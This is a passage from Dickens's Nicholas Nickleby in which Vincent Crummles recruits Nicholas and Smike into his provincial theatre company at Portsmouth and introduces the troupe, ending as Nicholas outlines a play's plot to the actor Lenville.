three rounds the moment he put his head out of the +practicable door in the front grooves O.P.' + +'You view him with a professional eye,' said Nicholas, laughing. + +'And well I may,' rejoined the manager. 'I never saw a young fellow +so regularly cut out for that line, since I've been in the +profession. And I played the heavy children when I was eighteen +months old.' + +The appearance of the beef-steak pudding, which came in +simultaneously with the junior Vincent Crummleses, turned the +conversation to other matters, and indeed, for a time, stopped it +altogether. These two young gentlemen wielded their knives and +forks with scarcely less address than their broad-swords, and as the +whole party were quite as sharp set as either class of weapons, +there was no time for talking until the supper had been disposed of. + +The Master Crummleses had no sooner swallowed the last procurable +morsel of food, than they evinced, by various half-suppressed yawns +and stretchings of their limbs, an obvious inclination to retire for +the night, which Smike had betrayed still more strongly: he having, +in the course of the meal, fallen asleep several times while in the +very act of eating. Nicholas therefore proposed that they should +break up at once, but the manager would by no means hear of it; +vowing that he had promised himself the pleasure of inviting his new +acquaintance to share a bowl of punch, and that if he declined, he +should deem it very unhandsome behaviour. + +'Let them go,' said Mr Vincent Crummles, 'and we'll have it snugly +and cosily together by the fire.' + +Nicholas was not much disposed to sleep--being in truth too anxious-- +so, after a little demur, he accepted the offer, and having +exchanged a shake of the hand with the young Crummleses, and the +manager having on his part bestowed a most affectionate benediction +on Smike, he sat himself down opposite to that gentleman by the +fireside to assist in emptying the bowl, which soon afterwards +appeared, steaming in a manner which was quite exhilarating to +behold, and sending forth a most grateful and inviting fragrance. + +But, despite the punch and the manager, who told a variety of +stories, and smoked tobacco from a pipe, and inhaled it in the shape +of snuff, with a most astonishing power, Nicholas was absent and +dispirited. His thoughts were in his old home, and when they +reverted to his present condition, the uncertainty of the morrow +cast a gloom upon him, which his utmost efforts were unable to +dispel. His attention wandered; although he heard the manager's +voice, he was deaf to what he said; and when Mr Vincent Crummles +concluded the history of some long adventure with a loud laugh, and +an inquiry what Nicholas would have done under the same +circumstances, he was obliged to make the best apology in his power, +and to confess his entire ignorance of all he had been talking +about. + +'Why, so I saw,' observed Mr Crummles. 'You're uneasy in your mind. +What's the matter?' + +Nicholas could not refrain from smiling at the abruptness of the +question; but, thinking it scarcely worth while to parry it, owned +that he was under some apprehensions lest he might not succeed in +the object which had brought him to that part of the country. + +'And what's that?' asked the manager. + +'Getting something to do which will keep me and my poor fellow- +traveller in the common necessaries of life,' said Nicholas. +'That's the truth. You guessed it long ago, I dare say, so I may as +well have the credit of telling it you with a good grace.' + +'What's to be got to do at Portsmouth more than anywhere else?' +asked Mr Vincent Crummles, melting the sealing-wax on the stem of +his pipe in the candle, and rolling it out afresh with his little +finger. + +'There are many vessels leaving the port, I suppose,' replied +Nicholas. 'I shall try for a berth in some ship or other. There is +meat and drink there at all events.' + +'Salt meat and new rum; pease-pudding and chaff-biscuits,' said the +manager, taking a whiff at his pipe to keep it alight, and returning +to his work of embellishment. + +'One may do worse than that,' said Nicholas. 'I can rough it, I +believe, as well as most young men of my age and previous habits.' + +'You need be able to,' said the manager, 'if you go on board ship; +but you won't.' + +'Why not?' + +'Because there's not a skipper or mate that would think you worth +your salt, when he could get a practised hand,' replied the manager; +'and they as plentiful there, as the oysters in the streets.' + +'What do you mean?' asked Nicholas, alarmed by this prediction, and +the confident tone in which it had been uttered. 'Men are not born +able seamen. They must be reared, I suppose?' + +Mr Vincent Crummles nodded his head. 'They must; but not at your +age, or from young gentlemen like you.' + +There was a pause. The countenance of Nicholas fell, and he gazed +ruefully at the fire. + +'Does no other profession occur to you, which a young man of your +figure and address could take up easily, and see the world to +advantage in?' asked the manager. + +'No,' said Nicholas, shaking his head. + +'Why, then, I'll tell you one,' said Mr Crummles, throwing his pipe +into the fire, and raising his voice. 'The stage.' + +'The stage!' cried Nicholas, in a voice almost as loud. + +'The theatrical profession,' said Mr Vincent Crummles. 'I am in the +theatrical profession myself, my wife is in the theatrical +profession, my children are in the theatrical profession. I had a +dog that lived and died in it from a puppy; and my chaise-pony goes +on, in Timour the Tartar. I'll bring you out, and your friend too. +Say the word. I want a novelty.' + +'I don't know anything about it,' rejoined Nicholas, whose breath +had been almost taken away by this sudden proposal. 'I never acted +a part in my life, except at school.' + +'There's genteel comedy in your walk and manner, juvenile tragedy in +your eye, and touch-and-go farce in your laugh,' said Mr Vincent +Crummles. 'You'll do as well as if you had thought of nothing else +but the lamps, from your birth downwards.' + +Nicholas thought of the small amount of small change that would +remain in his pocket after paying the tavern bill; and he hesitated. + +'You can be useful to us in a hundred ways,' said Mr Crummles. +'Think what capital bills a man of your education could write for +the shop-windows.' + +'Well, I think I could manage that department,' said Nicholas. + +'To be sure you could,' replied Mr Crummles. '"For further +particulars see small hand-bills"--we might have half a volume in +every one of 'em. Pieces too; why, you could write us a piece to +bring out the whole strength of the company, whenever we wanted +one.' + +'I am not quite so confident about that,' replied Nicholas. 'But I +dare say I could scribble something now and then, that would suit +you.' + +'We'll have a new show-piece out directly,' said the manager. 'Let +me see--peculiar resources of this establishment--new and splendid +scenery--you must manage to introduce a real pump and two washing- +tubs.' + +'Into the piece?' said Nicholas. + +'Yes,' replied the manager. 'I bought 'em cheap, at a sale the +other day, and they'll come in admirably. That's the London plan. +They look up some dresses, and properties, and have a piece written +to fit 'em. Most of the theatres keep an author on purpose.' + +'Indeed!' cried Nicholas. + +'Oh, yes,' said the manager; 'a common thing. It'll look very well +in the bills in separate lines--Real pump!--Splendid tubs!--Great +attraction! You don't happen to be anything of an artist, do you?' + +'That is not one of my accomplishments,' rejoined Nicholas. + +'Ah! Then it can't be helped,' said the manager. 'If you had been, +we might have had a large woodcut of the last scene for the posters, +showing the whole depth of the stage, with the pump and tubs in the +middle; but, however, if you're not, it can't be helped.' + +'What should I get for all this?' inquired Nicholas, after a few +moments' reflection. 'Could I live by it?' + +'Live by it!' said the manager. 'Like a prince! With your own +salary, and your friend's, and your writings, you'd make--ah! you'd +make a pound a week!' + +'You don't say so!' + +'I do indeed, and if we had a run of good houses, nearly double the +money.' + +Nicholas shrugged his shoulders; but sheer destitution was before +him; and if he could summon fortitude to undergo the extremes of +want and hardship, for what had he rescued his helpless charge if it +were only to bear as hard a fate as that from which he had wrested +him? It was easy to think of seventy miles as nothing, when he was +in the same town with the man who had treated him so ill and roused +his bitterest thoughts; but now, it seemed far enough. What if he +went abroad, and his mother or Kate were to die the while? + +Without more deliberation, he hastily declared that it was a +bargain, and gave Mr Vincent Crummles his hand upon it. + + + +CHAPTER 23 + +Treats of the Company of Mr Vincent Crummles, and of his Affairs, +Domestic and Theatrical + + +As Mr Crummles had a strange four-legged animal in the inn stables, +which he called a pony, and a vehicle of unknown design, on which he +bestowed the appellation of a four-wheeled phaeton, Nicholas +proceeded on his journey next morning with greater ease than he had +expected: the manager and himself occupying the front seat: and the +Master Crummleses and Smike being packed together behind, in company +with a wicker basket defended from wet by a stout oilskin, in which +were the broad-swords, pistols, pigtails, nautical costumes, and +other professional necessaries of the aforesaid young gentlemen. + +The pony took his time upon the road, and--possibly in consequence +of his theatrical education--evinced, every now and then, a strong +inclination to lie down. However, Mr Vincent Crummles kept him up +pretty well, by jerking the rein, and plying the whip; and when +these means failed, and the animal came to a stand, the elder Master +Crummles got out and kicked him. By dint of these encouragements, +he was persuaded to move from time to time, and they jogged on (as +Mr Crummles truly observed) very comfortably for all parties. + +'He's a good pony at bottom,' said Mr Crummles, turning to Nicholas. + +He might have been at bottom, but he certainly was not at top, +seeing that his coat was of the roughest and most ill-favoured kind. +So, Nicholas merely observed that he shouldn't wonder if he was. + +'Many and many is the circuit this pony has gone,' said Mr Crummles, +flicking him skilfully on the eyelid for old acquaintance' sake. +'He is quite one of us. His mother was on the stage.' + +'Was she?' rejoined Nicholas. + +'She ate apple-pie at a circus for upwards of fourteen years,' said +the manager; 'fired pistols, and went to bed in a nightcap; and, in +short, took the low comedy entirely. His father was a dancer.' + +'Was he at all distinguished?' + +'Not very,' said the manager. 'He was rather a low sort of pony. +The fact is, he had been originally jobbed out by the day, and he +never quite got over his old habits. He was clever in melodrama +too, but too broad--too broad. When the mother died, he took the +port-wine business.' + +'The port-wine business!' cried Nicholas. + +'Drinking port-wine with the clown,' said the manager; 'but he was +greedy, and one night bit off the bowl of the glass, and choked +himself, so his vulgarity was the death of him at last.' + +The descendant of this ill-starred animal requiring increased +attention from Mr Crummles as he progressed in his day's work, that +gentleman had very little time for conversation. Nicholas was thus +left at leisure to entertain himself with his own thoughts, until +they arrived at the drawbridge at Portsmouth, when Mr Crummles +pulled up. + +'We'll get down here,' said the manager, 'and the boys will take him +round to the stable, and call at my lodgings with the luggage. You +had better let yours be taken there, for the present.' + +Thanking Mr Vincent Crummles for his obliging offer, Nicholas jumped +out, and, giving Smike his arm, accompanied the manager up High +Street on their way to the theatre; feeling nervous and +uncomfortable enough at the prospect of an immediate introduction to +a scene so new to him. + +They passed a great many bills, pasted against the walls and +displayed in windows, wherein the names of Mr Vincent Crummles, Mrs +Vincent Crummles, Master Crummles, Master P. Crummles, and Miss +Crummles, were printed in very large letters, and everything else in +very small ones; and, turning at length into an entry, in which was +a strong smell of orange-peel and lamp-oil, with an under-current of +sawdust, groped their way through a dark passage, and, descending a +step or two, threaded a little maze of canvas screens and paint +pots, and emerged upon the stage of the Portsmouth Theatre. + +'Here we are,' said Mr Crummles. + +It was not very light, but Nicholas found himself close to the first +entrance on the prompt side, among bare walls, dusty scenes, +mildewed clouds, heavily daubed draperies, and dirty floors. He +looked about him; ceiling, pit, boxes, gallery, orchestra, fittings, +and decorations of every kind,--all looked coarse, cold, gloomy, and +wretched. + +'Is this a theatre?' whispered Smike, in amazement; 'I thought it +was a blaze of light and finery.' + +'Why, so it is,' replied Nicholas, hardly less surprised; 'but not +by day, Smike--not by day.' + +The manager's voice recalled him from a more careful inspection of +the building, to the opposite side of the proscenium, where, at a +small mahogany table with rickety legs and of an oblong shape, sat a +stout, portly female, apparently between forty and fifty, in a +tarnished silk cloak, with her bonnet dangling by the strings in her +hand, and her hair (of which she had a great quantity) braided in a +large festoon over each temple. + +'Mr Johnson,' said the manager (for Nicholas had given the name +which Newman Noggs had bestowed upon him in his conversation with +Mrs Kenwigs), 'let me introduce Mrs Vincent Crummles.' + +'I am glad to see you, sir,' said Mrs Vincent Crummles, in a +sepulchral voice. 'I am very glad to see you, and still more happy +to hail you as a promising member of our corps.' + +The lady shook Nicholas by the hand as she addressed him in these +terms; he saw it was a large one, but had not expected quite such an +iron grip as that with which she honoured him. + +'And this,' said the lady, crossing to Smike, as tragic actresses +cross when they obey a stage direction, 'and this is the other. You +too, are welcome, sir.' + +'He'll do, I think, my dear?' said the manager, taking a pinch of +snuff. + +'He is admirable,' replied the lady. 'An acquisition indeed.' + +As Mrs Vincent Crummles recrossed back to the table, there bounded +on to the stage from some mysterious inlet, a little girl in a dirty +white frock with tucks up to the knees, short trousers, sandaled +shoes, white spencer, pink gauze bonnet, green veil and curl papers; +who turned a pirouette, cut twice in the air, turned another +pirouette, then, looking off at the opposite wing, shrieked, bounded +forward to within six inches of the footlights, and fell into a +beautiful attitude of terror, as a shabby gentleman in an old pair +of buff slippers came in at one powerful slide, and chattering his +teeth, fiercely brandished a walking-stick. + +'They are going through the Indian Savage and the Maiden,' said Mrs +Crummles. + +'Oh!' said the manager, 'the little ballet interlude. Very good, go +on. A little this way, if you please, Mr Johnson. That'll do. +Now!' + +The manager clapped his hands as a signal to proceed, and the +savage, becoming ferocious, made a slide towards the maiden; but the +maiden avoided him in six twirls, and came down, at the end of the +last one, upon the very points of her toes. This seemed to make +some impression upon the savage; for, after a little more ferocity +and chasing of the maiden into corners, he began to relent, and +stroked his face several times with his right thumb and four +fingers, thereby intimating that he was struck with admiration of +the maiden's beauty. Acting upon the impulse of this passion, he +(the savage) began to hit himself severe thumps in the chest, and to +exhibit other indications of being desperately in love, which being +rather a prosy proceeding, was very likely the cause of the maiden's +falling asleep; whether it was or no, asleep she did fall, sound as +a church, on a sloping bank, and the savage perceiving it, leant his +left ear on his left hand, and nodded sideways, to intimate to all +whom it might concern that she WAS asleep, and no shamming. Being +left to himself, the savage had a dance, all alone. Just as he left +off, the maiden woke up, rubbed her eyes, got off the bank, and had +a dance all alone too--such a dance that the savage looked on in +ecstasy all the while, and when it was done, plucked from a +neighbouring tree some botanical curiosity, resembling a small +pickled cabbage, and offered it to the maiden, who at first wouldn't +have it, but on the savage shedding tears relented. Then the savage +jumped for joy; then the maiden jumped for rapture at the sweet +smell of the pickled cabbage. Then the savage and the maiden danced +violently together, and, finally, the savage dropped down on one +knee, and the maiden stood on one leg upon his other knee; thus +concluding the ballet, and leaving the spectators in a state of +pleasing uncertainty, whether she would ultimately marry the savage, +or return to her friends. + +'Very well indeed,' said Mr Crummles; 'bravo!' + +'Bravo!' cried Nicholas, resolved to make the best of everything. +'Beautiful!' + +'This, sir,' said Mr Vincent Crummles, bringing the maiden forward, +'this is the infant phenomenon--Miss Ninetta Crummles.' + +'Your daughter?' inquired Nicholas. + +'My daughter--my daughter,' replied Mr Vincent Crummles; 'the idol +of every place we go into, sir. We have had complimentary letters +about this girl, sir, from the nobility and gentry of almost every +town in England.' + +'I am not surprised at that,' said Nicholas; 'she must be quite a +natural genius.' + +'Quite a--!' Mr Crummles stopped: language was not powerful enough +to describe the infant phenomenon. 'I'll tell you what, sir,' he +said; 'the talent of this child is not to be imagined. She must be +seen, sir--seen--to be ever so faintly appreciated. There; go to +your mother, my dear.' + +'May I ask how old she is?' inquired Nicholas. + +'You may, sir,' replied Mr Crummles, looking steadily in his +questioner's face, as some men do when they have doubts about being +implicitly believed in what they are going to say. 'She is ten +years of age, sir.' + +'Not more!' + +'Not a day.' + +'Dear me!' said Nicholas, 'it's extraordinary.' + +It was; for the infant phenomenon, though of short stature, had a +comparatively aged countenance, and had moreover been precisely the +same age--not perhaps to the full extent of the memory of the oldest +inhabitant, but certainly for five good years. But she had been +kept up late every night, and put upon an unlimited allowance of +gin-and-water from infancy, to prevent her growing tall, and perhaps +this system of training had produced in the infant phenomenon these +additional phenomena. + +While this short dialogue was going on, the gentleman who had +enacted the savage, came up, with his walking shoes on his feet, and +his slippers in his hand, to within a few paces, as if desirous to +join in the conversation. Deeming this a good opportunity, he put +in his word. + +'Talent there, sir!' said the savage, nodding towards Miss Crummles. + +Nicholas assented. + +'Ah!' said the actor, setting his teeth together, and drawing in his +breath with a hissing sound, 'she oughtn't to be in the provinces, +she oughtn't.' + +'What do you mean?' asked the manager. + +'I mean to say,' replied the other, warmly, 'that she is too good +for country boards, and that she ought to be in one of the large +houses in London, or nowhere; and I tell you more, without mincing +the matter, that if it wasn't for envy and jealousy in some quarter +that you know of, she would be. Perhaps you'll introduce me here, +Mr Crummles.' + +'Mr Folair,' said the manager, presenting him to Nicholas. + +'Happy to know you, sir.' Mr Folair touched the brim of his hat with +his forefinger, and then shook hands. 'A recruit, sir, I +understand?' + +'An unworthy one,' replied Nicholas. + +'Did you ever see such a set-out as that?' whispered the actor, +drawing him away, as Crummles left them to speak to his wife. + +'As what?' + +Mr Folair made a funny face from his pantomime collection, and +pointed over his shoulder. + +'You don't mean the infant phenomenon?' + +'Infant humbug, sir,' replied Mr Folair. 'There isn't a female +child of common sharpness in a charity school, that couldn't do +better than that. She may thank her stars she was born a manager's +daughter.' + +'You seem to take it to heart,' observed Nicholas, with a smile. + +'Yes, by Jove, and well I may,' said Mr Folair, drawing his arm +through his, and walking him up and down the stage. 'Isn't it +enough to make a man crusty to see that little sprawler put up in +the best business every night, and actually keeping money out of the +house, by being forced down the people's throats, while other people +are passed over? Isn't it extraordinary to see a man's confounded +family conceit blinding him, even to his own interest? Why I KNOW +of fifteen and sixpence that came to Southampton one night last +month, to see me dance the Highland Fling; and what's the +consequence? I've never been put up in it since--never once--while +the "infant phenomenon" has been grinning through artificial flowers +at five people and a baby in the pit, and two boys in the gallery, +every night.' + +'If I may judge from what I have seen of you,' said Nicholas, 'you +must be a valuable member of the company.' + +'Oh!' replied Mr Folair, beating his slippers together, to knock the +dust out; 'I CAN come it pretty well--nobody better, perhaps, in my +own line--but having such business as one gets here, is like putting +lead on one's feet instead of chalk, and dancing in fetters without +the credit of it. Holloa, old fellow, how are you?' + +The gentleman addressed in these latter words was a dark- +complexioned man, inclining indeed to sallow, with long thick black +hair, and very evident inclinations (although he was close shaved) +of a stiff beard, and whiskers of the same deep shade. His age did +not appear to exceed thirty, though many at first sight would have +considered him much older, as his face was long, and very pale, from +the constant application of stage paint. He wore a checked shirt, +an old green coat with new gilt buttons, a neckerchief of broad red +and green stripes, and full blue trousers; he carried, too, a common +ash walking-stick, apparently more for show than use, as he +flourished it about, with the hooked end downwards, except when he +raised it for a few seconds, and throwing himself into a fencing +attitude, made a pass or two at the side-scenes, or at any other +object, animate or inanimate, that chanced to afford him a pretty +good mark at the moment. + +'Well, Tommy,' said this gentleman, making a thrust at his friend, +who parried it dexterously with his slipper, 'what's the news?' + +'A new appearance, that's all,' replied Mr Folair, looking at +Nicholas. + +'Do the honours, Tommy, do the honours,' said the other gentleman, +tapping him reproachfully on the crown of the hat with his stick. + +'This is Mr Lenville, who does our first tragedy, Mr Johnson,' said +the pantomimist. + +'Except when old bricks and mortar takes it into his head to do it +himself, you should add, Tommy,' remarked Mr Lenville. 'You know +who bricks and mortar is, I suppose, sir?' + +'I do not, indeed,' replied Nicholas. + +'We call Crummles that, because his style of acting is rather in the +heavy and ponderous way,' said Mr Lenville. 'I mustn't be cracking +jokes though, for I've got a part of twelve lengths here, which I +must be up in tomorrow night, and I haven't had time to look at it +yet; I'm a confounded quick study, that's one comfort.' + +Consoling himself with this reflection, Mr Lenville drew from his +coat pocket a greasy and crumpled manuscript, and, having made +another pass at his friend, proceeded to walk to and fro, conning it +to himself and indulging occasionally in such appropriate action as +his imagination and the text suggested. + +A pretty general muster of the company had by this time taken place; +for besides Mr Lenville and his friend Tommy, there were present, a +slim young gentleman with weak eyes, who played the low-spirited +lovers and sang tenor songs, and who had come arm-in-arm with the +comic countryman--a man with a turned-up nose, large mouth, broad +face, and staring eyes. Making himself very amiable to the infant +phenomenon, was an inebriated elderly gentleman in the last depths +of shabbiness, who played the calm and virtuous old men; and paying +especial court to Mrs Crummles was another elderly gentleman, a +shade more respectable, who played the irascible old men--those +funny fellows who have nephews in the army and perpetually run about +with thick sticks to compel them to marry heiresses. Besides these, +there was a roving-looking person in a rough great-coat, who strode +up and down in front of the lamps, flourishing a dress cane, and +rattling away, in an undertone, with great vivacity for the +amusement of an ideal audience. He was not quite so young as he had +been, and his figure was rather running to seed; but there was an +air of exaggerated gentility about him, which bespoke the hero of +swaggering comedy. There was, also, a little group of three or four +young men with lantern jaws and thick eyebrows, who were conversing +in one corner; but they seemed to be of secondary importance, and +laughed and talked together without attracting any attention. + +The ladies were gathered in a little knot by themselves round the +rickety table before mentioned. There was Miss Snevellicci--who +could do anything, from a medley dance to Lady Macbeth, and also +always played some part in blue silk knee-smalls at her benefit-- +glancing, from the depths of her coal-scuttle straw bonnet, at +Nicholas, and affecting to be absorbed in the recital of a diverting +story to her friend Miss Ledrook, who had brought her work, and was +making up a ruff in the most natural manner possible. There was +Miss Belvawney--who seldom aspired to speaking parts, and usually +went on as a page in white silk hose, to stand with one leg bent, +and contemplate the audience, or to go in and out after Mr Crummles +in stately tragedy--twisting up the ringlets of the beautiful Miss +Bravassa, who had once had her likeness taken 'in character' by an +engraver's apprentice, whereof impressions were hung up for sale in +the pastry-cook's window, and the greengrocer's, and at the +circulating library, and the box-office, whenever the announce bills +came out for her annual night. There was Mrs Lenville, in a very +limp bonnet and veil, decidedly in that way in which she would wish +to be if she truly loved Mr Lenville; there was Miss Gazingi, with +an imitation ermine boa tied in a loose knot round her neck, +flogging Mr Crummles, junior, with both ends, in fun. Lastly, there +was Mrs Grudden in a brown cloth pelisse and a beaver bonnet, who +assisted Mrs Crummles in her domestic affairs, and took money at the +doors, and dressed the ladies, and swept the house, and held the +prompt book when everybody else was on for the last scene, and acted +any kind of part on any emergency without ever learning it, and was +put down in the bills under my name or names whatever, that occurred +to Mr Crummles as looking well in print. + +Mr Folair having obligingly confided these particulars to Nicholas, +left him to mingle with his fellows; the work of personal +introduction was completed by Mr Vincent Crummles, who publicly +heralded the new actor as a prodigy of genius and learning. + +'I beg your pardon,' said Miss Snevellicci, sidling towards +Nicholas, 'but did you ever play at Canterbury?' + +'I never did,' replied Nicholas. + +'I recollect meeting a gentleman at Canterbury,' said Miss +Snevellicci, 'only for a few moments, for I was leaving the company +as he joined it, so like you that I felt almost certain it was the +same.' + +'I see you now for the first time,' rejoined Nicholas with all due +gallantry. 'I am sure I never saw you before; I couldn't have +forgotten it.' + +'Oh, I'm sure--it's very flattering of you to say so,' retorted Miss +Snevellicci with a graceful bend. 'Now I look at you again, I see +that the gentleman at Canterbury hadn't the same eyes as you--you'll +think me very foolish for taking notice of such things, won't you?' + +'Not at all,' said Nicholas. 'How can I feel otherwise than +flattered by your notice in any way?' + +'Oh! you men are such vain creatures!' cried Miss Snevellicci. +Whereupon, she became charmingly confused, and, pulling out her +pocket-handkerchief from a faded pink silk reticule with a gilt +clasp, called to Miss Ledrook-- + +'Led, my dear,' said Miss Snevellicci. + +'Well, what is the matter?' said Miss Ledrook. + +'It's not the same.' + +'Not the same what?' + +'Canterbury--you know what I mean. Come here! I want to speak to +you.' + +But Miss Ledrook wouldn't come to Miss Snevellicci, so Miss +Snevellicci was obliged to go to Miss Ledrook, which she did, in a +skipping manner that was quite fascinating; and Miss Ledrook +evidently joked Miss Snevellicci about being struck with Nicholas; +for, after some playful whispering, Miss Snevellicci hit Miss +Ledrook very hard on the backs of her hands, and retired up, in a +state of pleasing confusion. + +'Ladies and gentlemen,' said Mr Vincent Crummles, who had been +writing on a piece of paper, 'we'll call the Mortal Struggle +tomorrow at ten; everybody for the procession. Intrigue, and Ways +and Means, you're all up in, so we shall only want one rehearsal. +Everybody at ten, if you please.' + +'Everybody at ten,' repeated Mrs Grudden, looking about her. + +'On Monday morning we shall read a new piece,' said Mr Crummles; +'the name's not known yet, but everybody will have a good part. Mr +Johnson will take care of that.' + +'Hallo!' said Nicholas, starting. 'I--' + +'On Monday morning,' repeated Mr Crummles, raising his voice, to +drown the unfortunate Mr Johnson's remonstrance; 'that'll do, ladies +and gentlemen.' + +The ladies and gentlemen required no second notice to quit; and, in +a few minutes, the theatre was deserted, save by the Crummles +family, Nicholas, and Smike. + +'Upon my word,' said Nicholas, taking the manager aside, 'I don't +think I can be ready by Monday.' + +'Pooh, pooh,' replied Mr Crummles. + +'But really I can't,' returned Nicholas; 'my invention is not +accustomed to these demands, or possibly I might produce--' + +'Invention! what the devil's that got to do with it!' cried the +manager hastily. + +'Everything, my dear sir.' + +'Nothing, my dear sir,' retorted the manager, with evident +impatience. 'Do you understand French?' + +'Perfectly well.' + +'Very good,' said the manager, opening the table drawer, and giving +a roll of paper from it to Nicholas. 'There! Just turn that into +English, and put your name on the title-page. Damn me,' said Mr +Crummles, angrily, 'if I haven't often said that I wouldn't have a +man or woman in my company that wasn't master of the language, so +that they might learn it from the original, and play it in English, +and save all this trouble and expense.' + +Nicholas smiled and pocketed the play. + +'What are you going to do about your lodgings?' said Mr Crummles. + +Nicholas could not help thinking that, for the first week, it would +be an uncommon convenience to have a turn-up bedstead in the pit, +but he merely remarked that he had not turned his thoughts that way. + +'Come home with me then,' said Mr Crummles, 'and my boys shall go +with you after dinner, and show you the most likely place.' + +The offer was not to be refused; Nicholas and Mr Crummles gave Mrs +Crummles an arm each, and walked up the street in stately array. +Smike, the boys, and the phenomenon, went home by a shorter cut, and +Mrs Grudden remained behind to take some cold Irish stew and a pint +of porter in the box-office. + +Mrs Crummles trod the pavement as if she were going to immediate +execution with an animating consciousness of innocence, and that +heroic fortitude which virtue alone inspires. Mr Crummles, on the +other hand, assumed the look and gait of a hardened despot; but they +both attracted some notice from many of the passers-by, and when +they heard a whisper of 'Mr and Mrs Crummles!' or saw a little boy +run back to stare them in the face, the severe expression of their +countenances relaxed, for they felt it was popularity. + +Mr Crummles lived in St Thomas's Street, at the house of one Bulph, +a pilot, who sported a boat-green door, with window-frames of the +same colour, and had the little finger of a drowned man on his +parlour mantelshelf, with other maritime and natural curiosities. +He displayed also a brass knocker, a brass plate, and a brass bell- +handle, all very bright and shining; and had a mast, with a vane on +the top of it, in his back yard. + +'You are welcome,' said Mrs Crummles, turning round to Nicholas when +they reached the bow-windowed front room on the first floor. + +Nicholas bowed his acknowledgments, and was unfeignedly glad to see +the cloth laid. + +'We have but a shoulder of mutton with onion sauce,' said Mrs +Crummles, in the same charnel-house voice; 'but such as our dinner +is, we beg you to partake of it.' + +'You are very good,' replied Nicholas, 'I shall do it ample +justice.' + +'Vincent,' said Mrs Crummles, 'what is the hour?' + +'Five minutes past dinner-time,' said Mr Crummles. + +Mrs Crummles rang the bell. 'Let the mutton and onion sauce +appear.' + +The slave who attended upon Mr Bulph's lodgers, disappeared, and +after a short interval reappeared with the festive banquet. +Nicholas and the infant phenomenon opposed each other at the +pembroke-table, and Smike and the master Crummleses dined on the +sofa bedstead. + +'Are they very theatrical people here?' asked Nicholas. + +'No,' replied Mr Crummles, shaking his head, 'far from it--far from +it.' + +'I pity them,' observed Mrs Crummles. + +'So do I,' said Nicholas; 'if they have no relish for theatrical +entertainments, properly conducted.' + +'Then they have none, sir,' rejoined Mr Crummles. 'To the infant's +benefit, last year, on which occasion she repeated three of her most +popular characters, and also appeared in the Fairy Porcupine, as +originally performed by her, there was a house of no more than four +pound twelve.' + +'Is it possible?' cried Nicholas. + +'And two pound of that was trust, pa,' said the phenomenon. + +'And two pound of that was trust,' repeated Mr Crummles. 'Mrs +Crummles herself has played to mere handfuls.' + +'But they are always a taking audience, Vincent,' said the manager's +wife. + +'Most audiences are, when they have good acting--real good acting-- +the regular thing,' replied Mr Crummles, forcibly. + +'Do you give lessons, ma'am?' inquired Nicholas. + +'I do,' said Mrs Crummles. + +'There is no teaching here, I suppose?' + +'There has been,' said Mrs Crummles. 'I have received pupils here. +I imparted tuition to the daughter of a dealer in ships' provision; +but it afterwards appeared that she was insane when she first came +to me. It was very extraordinary that she should come, under such +circumstances.' + +Not feeling quite so sure of that, Nicholas thought it best to hold +his peace. + +'Let me see,' said the manager cogitating after dinner. 'Would you +like some nice little part with the infant?' + +'You are very good,' replied Nicholas hastily; 'but I think perhaps +it would be better if I had somebody of my own size at first, in +case I should turn out awkward. I should feel more at home, +perhaps.' + +'True,' said the manager. 'Perhaps you would. And you could play +up to the infant, in time, you know.' + +'Certainly,' replied Nicholas: devoutly hoping that it would be a +very long time before he was honoured with this distinction. + +'Then I'll tell you what we'll do,' said Mr Crummles. 'You shall +study Romeo when you've done that piece--don't forget to throw the +pump and tubs in by-the-bye--Juliet Miss Snevellicci, old Grudden +the nurse.--Yes, that'll do very well. Rover too;--you might get up +Rover while you were about it, and Cassio, and Jeremy Diddler. You +can easily knock them off; one part helps the other so much. Here +they are, cues and all.' + +With these hasty general directions Mr Crummles thrust a number of +little books into the faltering hands of Nicholas, and bidding his +eldest son go with him and show where lodgings were to be had, shook +him by the hand, and wished him good night. + +There is no lack of comfortable furnished apartments in Portsmouth, +and no difficulty in finding some that are proportionate to very +slender finances; but the former were too good, and the latter too +bad, and they went into so many houses, and came out unsuited, that +Nicholas seriously began to think he should be obliged to ask +permission to spend the night in the theatre, after all. + +Eventually, however, they stumbled upon two small rooms up three +pair of stairs, or rather two pair and a ladder, at a tobacconist's +shop, on the Common Hard: a dirty street leading down to the +dockyard. These Nicholas engaged, only too happy to have escaped +any request for payment of a week's rent beforehand. + +'There! Lay down our personal property, Smike,' he said, after +showing young Crummles downstairs. 'We have fallen upon strange +times, and Heaven only knows the end of them; but I am tired with +the events of these three days, and will postpone reflection till +tomorrow--if I can.' + + + +CHAPTER 24 + +Of the Great Bespeak for Miss Snevellicci, and the first Appearance +of Nicholas upon any Stage + + +Nicholas was up betimes in the morning; but he had scarcely begun to +dress, notwithstanding, when he heard footsteps ascending the +stairs, and was presently saluted by the voices of Mr Folair the +pantomimist, and Mr Lenville, the tragedian. + +'House, house, house!' cried Mr Folair. + +'What, ho! within there" said Mr Lenville, in a deep voice. + +'Confound these fellows!' thought Nicholas; 'they have come to +breakfast, I suppose. I'll open the door directly, if you'll wait +an instant.' + +The gentlemen entreated him not to hurry himself; and, to beguile +the interval, had a fencing bout with their walking-sticks on the +very small landing-place: to the unspeakable discomposure of all the +other lodgers downstairs. + +'Here, come in,' said Nicholas, when he had completed his toilet. +'In the name of all that's horrible, don't make that noise outside.' + +'An uncommon snug little box this,' said Mr Lenville, stepping into +the front room, and taking his hat off, before he could get in at +all. 'Pernicious snug.' + +'For a man at all particular in such matters, it might be a trifle +too snug,' said Nicholas; 'for, although it is, undoubtedly, a great +convenience to be able to reach anything you want from the ceiling +or the floor, or either side of the room, without having to move +from your chair, still these advantages can only be had in an +apartment of the most limited size.' + +'It isn't a bit too confined for a single man,' returned Mr +Lenville. 'That reminds me,--my wife, Mr Johnson,--I hope she'll +have some good part in this piece of yours?' + +'I glanced at the French copy last night,' said Nicholas. 'It looks +very good, I think.' + +'What do you mean to do for me, old fellow?' asked Mr Lenville, +poking the struggling fire with his walking-stick, and afterwards +wiping it on the skirt of his coat. 'Anything in the gruff and +grumble way?' + +'You turn your wife and child out of doors,' said Nicholas; 'and, in +a fit of rage and jealousy, stab your eldest son in the library.' + +'Do I though!' exclaimed Mr Lenville. 'That's very good business.' + +'After which,' said Nicholas, 'you are troubled with remorse till +the last act, and then you make up your mind to destroy yourself. +But, just as you are raising the pistol to your head, a clock +strikes--ten.' + +'I see,' cried Mr Lenville. 'Very good.' + +'You pause,' said Nicholas; 'you recollect to have heard a clock +strike ten in your infancy. The pistol falls from your hand--you +are overcome--you burst into tears, and become a virtuous and +exemplary character for ever afterwards.' + +'Capital!' 